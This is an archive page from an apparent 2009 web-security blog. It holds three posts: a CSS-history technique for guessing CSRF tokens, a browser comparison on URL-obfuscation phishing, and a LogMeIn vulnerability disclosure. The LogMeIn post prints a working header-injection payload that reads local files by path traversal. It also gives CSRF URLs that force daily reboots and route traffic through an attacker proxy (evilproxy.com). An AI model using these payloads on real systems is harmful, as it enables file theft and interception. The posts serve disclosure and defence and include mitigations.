Archive for the ‘Exploits’ Category

« Older Entries
Newer Entries »

Hacking CSRF Tokens using CSS History Hack

Saturday, July 18th, 2009

Update: Security researchers Sirdarckcat and Gareth were kind enough to share the code for a pure CSS based CSRF token finder here . This is stealthier than my PoC below, which used a combination of both JS and CSS. So, it will still work even if you disable javascript and you are not safe anymore :( . To make this PoC more responsive to the client, you need to use multiple CSS stylesheets using the import command. The only problem I see with this pure CSS based approach is there will be network latency involved with large key spaces because your large CSS stylesheet will need to be downloaded by your browser.

I was thinking about the problem of Cross Site Request Forgery and current mitigation strategies used in the Industry. In many of the real world applications I have tested so far, I see the use of random tokens appended as part of url. If the request fails to provide any token or provide a token with incorrect value, then the request is rejected. This prevents CSRF or any cross domain unauthorized function execution.

Uptil now, it was considered infeasible for an attacker to discover your CSRF token using Brute Force Attacks on the server.

The reasons being:

  1. It generates lot of noise on the network and is slow. So most probably an IDS or Web App Firewall will pick up the malicious behavior and block your ip. For example, a Base16 CSRF token of length 5 characters (starting with a character) will generate approximately 393,216 requests.
  2. Many applications are programmed to invalidate your session after it detects more than a certain number of requests with invalid token values. E.g. 30.

I am going to change this belief by showing you a technique to quicky find csrf tokens without generating alerts. This technique is a client side attack, so there is almost no network traffic generated and hence, your server and IDS/Web App Firewalls won’t notice it at all. This attack is based on the popular CSS History Hack found by Jeremiah Grossman 3 years ago.

In this exploit, we discover the csrf token by brute forcing the various set of urls in browser history. We will try to embed different csrf token values as part of url and check if the user has visited that url. If yes, there is a good chance that the user is either using the same CSRF token in the current active session or might have used that token in a previous session. Once we have a list of all such tokens, we can just try our csrf attack on the server using that small list. Currently this attack is feasible for tokens with length of 5 characters or shorter. I tried it on a base16 string of length 5 and was able to brute force the entire key space in less than 2 minutes.

Some of the prerequisites for this attack to work are either

  1. CSRF token remains the same for a particular user session. e.g. csrf token=hash(session_id) OR
  2. CSRF token submitted in older forms for the same session is accepted. Many times, this is the case as it enhances user experience and allows using forward and back browser buttons.

Proof of Concept is available here.
Before running the PoC, you need to change the url and csrftoken paramater values.

For testing using the defaults, you need to first visit one of the following urls, e.g.

  1. http://securethoughts.com/?param1=val1&csrftoken=b59fe [change b59fe to any 5-digit base 16 string starting with a character, i.e.greater than a0000]
  2. http://tinyurl.com/l2lwgd [which is 301 redirect to previous url].

Note: http://www.securethoughts.com and http://securethoughts.com are treated differently while storing in browser history.

A sample run will look like this –

CSRF Token using CSS History Hack

For making this attack unfeasible,

  1. Server-Side Solution (for developers):
    • Make your CSRF tokens long enough (8 or more chars) to be unfeasible for a CLIENT SIDE attack. The ever-increasing processing power will make this attack feasible for longer tokens as well.
    • Store your CSRF token as part of hidden form field, rather than putting in url.
    • Use a different random token for every form submission and not accept any obsolete token, even for the same session.
  2. Client-Side Solution (for your customers/users):
    • Use a browser plugin such as SafeHistory, which defends against visited-link-based tracking techniques.
    • Use the private browsing mode in your browser.

And last, but not the least, XSS obliterates all the CSRF protections possible. So, get rid of XSS first.

I would like to thank Jeremiah for providing his insightful feedback on this post.

Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , , ,
Posted in Brute Force, CSRF, Exploits, Solutions, WebAppSec | 26 Comments »

Phishing with URL Obfuscation continues in Safari 4

Wednesday, June 17th, 2009

Well it is hard to believe, but the new version of Apple’s browser “Safari 4” still continues to be vulnerable to URL obfuscation techniques. All other browser vendors, whether it is Internet Explorer, Firefox, Opera or Chrome, have fixed this issue long time ago. However, everyone had fixed this issue using completely different solutions, which brings up the question that shouldn’t they follow a common standard ??

For those of you who don’t know what URL obfuscation is, it is an age old technique that phishers used to spoof legitimate websites like popular banks, etc. The phisher will send spam emails claiming to come from your bank and if you fall for the spoof, you might end up giving up your credentials. Among the popular techniques, this one I feel is the most important one as it tries to exploit link embedded authentication which is done using a url format http://username:password@evilwebsite.com. An attacker can use overly long urls to completely hide the suspicious part in your address bar which is “@evilwebsite.com” or something like “@evilwebsiteip (xx.xx.xx.xx)” with different number encoding methods.


For my testing, I did the following: {Note: IP changed from last post, images have old IP}

1. I pasted this url in the browser’s address bar



2. I hovered on this hyperlink and noticed my STATUS BAR [Window Width should be <=1024]


Here are the results:

Safari 4.0 (530.17): Safari is vulnerable to this exploit. It does not take any steps to mitigate this problem. In the address bar, the overly long url continues to show as it is after the webpage is opened and hence a normal user is very likely to fall a prey to this phishing attack (see the image below). Also, status bar is disabled by default. Since most users don’t change the default settings, user is again more likely to fall prey when they click a hyperlink somewhere on the web. If you explicitly enabled the status bar, then you might identify the evil site. The reason being that Safari does a truncation on the long url by putting “..” in the middle, so you will see the suspicious part at the end.

Url Obfuscation with Safari


Opera 9.64: Opera has some mitigation strategies to protect against this exploit. It will raise a popup alerting the user that a username is entered as part of url. The username in error message can be a little confusing to the user and ideally it should instead put the name/ip of the evil site which is a better indicator (one that Firefox uses). Another sad part is “YES” button is the default option. So if a user does not understand the message or accidently presses “ENTER” (which most people do when they see popups), they might become a victim to this phishing attack. Regarding the status bar part, when you hover over a overly long hyperlink, Opera truncates it at the end (which is bad) so you won’t see the evil site information at the end of URL.

Url Obfuscation with Opera


Chrome 2.0.172.31: The obfuscated URL works in Google Chrome, however Google has taken important mitigation steps to prevent phishing altogether. The first thing they do not display the “username:password@” portion of the URL when you hover over a link. The second thing they do is they strip out the “username:password@” portion of the URL when visiting that URL, so a user clearly sees the evil site name or ip. This definitely makes the user suspicious and hence won’t fall for the exploit. The last thing they do is they convert decimal addresses to dotted quad notation.

Url Obfuscation with Chrome


Internet Explorer 7.0.5730.13: Internet Explorer stopped supporting the link based authentication url format from IE7 onwards. Moreover, if you put these long urls in hyperlinks, they won’t work even if user clicks on them. So, YES, you are not vulnerable to this exploit in IE. However, I have a concern with the error message raised “Windows cannot find …” when a user tries to access such urls. I really feel that Microsoft should improve the content of this message, as otherwise, a normal user might think that IE is not able to open such urls and might try using other browsers like Safari, where they become a prey to his phishing attack.

Url Obfuscation with Internet Explorer


Firefox 3.5 Beta 4: Last, but not the least Firefox. I really like Firefox which intelligently decides the content of error messages. If your site does not support HTTP Basic Authentication, there cannot be any usecase of a user providing auth credentials. So, it raises an important message that you are being tricked. It also includes the evil site’s name or ip and confirms with you if you want to go there. Also, “NO” button is the default choice. There is almost 0% possibility of a person falling a prey to this phishing attack here. Regarding the status bar part, when you hover on a overly long hyperlink, Firefox truncates it at the end (just like Opera which is bad) so you won’t see the evil site information at the end of URL.

Url Obfuscation with Firefox


I feel that common mitigation techniques should be implemented uniformly in all browsers. If we combine the techniques used by Firefox and Chrome, we can get the best of both worlds which is to continue to support link based authentication and mitigating the security vulnerabilities arising from url obfuscation with overly long urls.

Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , ,
Posted in Browsers, Exploits, Phishing, WebAppSec | 10 Comments »

Multiple vulnerabilities in LogMeIn web interface can be used to control your computer and steal arbitary files

Wednesday, June 3rd, 2009

A month ago, I reported some severe vulnerabilities in LogMeIn software, specifically version 4.0.784. For those of you that don’t know what LogMeIn is, LogMeIn is a popular remote access software, just like GotoMyPC and Windows RDP. It provides simple and secure access to your computers from any location on the internet, at the convenience of your web browser.

For exploiting these vulnerabilities, you need to social engineer the user to click on a url (e.g. through spam email) or make them visit your evil site somehow.

Vulnerability 1:
The url paramater “lang” passed to cfgadvanced.html is vulnerable to HTTP Header Injection attack using CRLFs. What makes this attack more interesting is once you social engineer a user into clicking this malicious url, you achieve persistent control over all the LogMeIn web pages.

This happens because after the injection occurs, LogMeIn stores the new value of “lang” paramater in registry key [HKEY_LOCAL_MACHINE\SOFTWARE\LogMeIn\V5\Appearance\Language] and puts it in Content-Language header everytime you click any link.

The proof of concept url given below can by used to STEAL ANY FILE ON YOUR DISK, in this case your win.ini file.

https://localhost:2002/cfgadvanced.html?op=update&DisconnectExisting=1&NoHttpCompr=1&CrashDumpInfo=0&lang=en-US%0D%0A%0D%0A%3Chtml%3E%3Cbody%3E%3C/body%3E%3CSCRIPT%3Evar%20ifr%3Dnull%3Bfunction%20al%28%29%7Bvar%20str%3D%28window.frames%5B0%5D.document.body.innerHTML%20%7C%7C%20ifr.contentDocument.documentElement.innerHTML%29%3Balert%28str.substring%28%28str.toLowerCase%28%29%29.indexOf%28%22%3Clegend%3E%22%2C400%29%29%29%3B%7D%20if%28window.location.href.match%28/.*cfgad.*/%29%29%7Bifr%3Ddocument.createElement%28%22iframe%22%29%3Bifr.src%3D%22https%3A//localhost%3A2002/logs.html%3Flog%3D../../../windows/win.ini%22%3Bdocument.body.appendChild%28ifr%29%3BsetTimeout%28%22al%28%29%22%2C4000%29%3B%7D%3C/script%3E%3C%21--

To help you understand this exploit better, I am pasting the url decoded parameter value of “lang” paramater.

lang=en-US

<html>
<body>
</body>
<script>
var ifr=null;
function al()
{
var str=(window.frames[0].document.body.innerHTML || ifr.contentDocument.documentElement.innerHTML);
alert(str.substring((str.toLowerCase()).indexOf("<legend>",400)));
}
if(window.location.href.match(/.*cfgad.*/))
{
ifr=document.createElement("iframe");
ifr.src="https://localhost:2002/logs.html?log=../../../windows/win.ini";
document.body.appendChild(ifr);
setTimeout("al()",4000);
}
</script>
<!--
LogMeIn - Local File Disclosure using Header Injection


Vulnerability 2:
The LogMeIn web interface does not have any Cross Site Request Forgery protection at all. It can be used by an attacker to make arbitrary changes to your LogMeIn System Settings. Example attacks include:

a. The following url can be used to make your machine restart everyday at a particular time. Too bad if you are using LogMeIn in a production environment :( .

https://localhost:2002/restartat.html?type=1&datey=2009&datem=04&dated=28&daily=1&week=0&timeh=22&timem=40&force=1&op=set

LogMeIn - Change Reboot Settings using CSRF

b. The following url can be used to set an intercepting proxy that passively listens all your LogMeIn traffic.

https://localhost:2002/cfgnet.html?submit=1&restart=&ListenPort=2002&ListenPort=2002&ListenIP=*&IPFilter=&BrokenProxy=255.255.255.0&ServicingThreads=50&IdleTimeOut=0%3A00%3A20%3A00&VersionCheck=1&ProxyAddr=evilproxy.com&ProxyPort=2000&ProxyUsername=user1&ProxyPassword=pass1&submit=Apply

LogMeIn - Change Proxy Settings using CSRF

The LogMeIn Team is currently fixing all these vulnerabilities and a patched version should be available anytime this month. Till then, I advise disabling LogMeIn completely. Web Interfaces are historically known to be disastrous (e.g. uTorrent Pwn3d, Router Hacking Challenge), so make sure you know what gets installed on your computer :) .

Share:
[del.icio.us] [Digg] [Facebook] [Google] [LinkedIn] [Reddit] [StumbleUpon] [Technorati] [Twitter] [Yahoo!] More »

Tags: , , , , , ,
Posted in CSRF, Exploits, WebAppSec, XSS | 6 Comments »

« Older Entries
Newer Entries »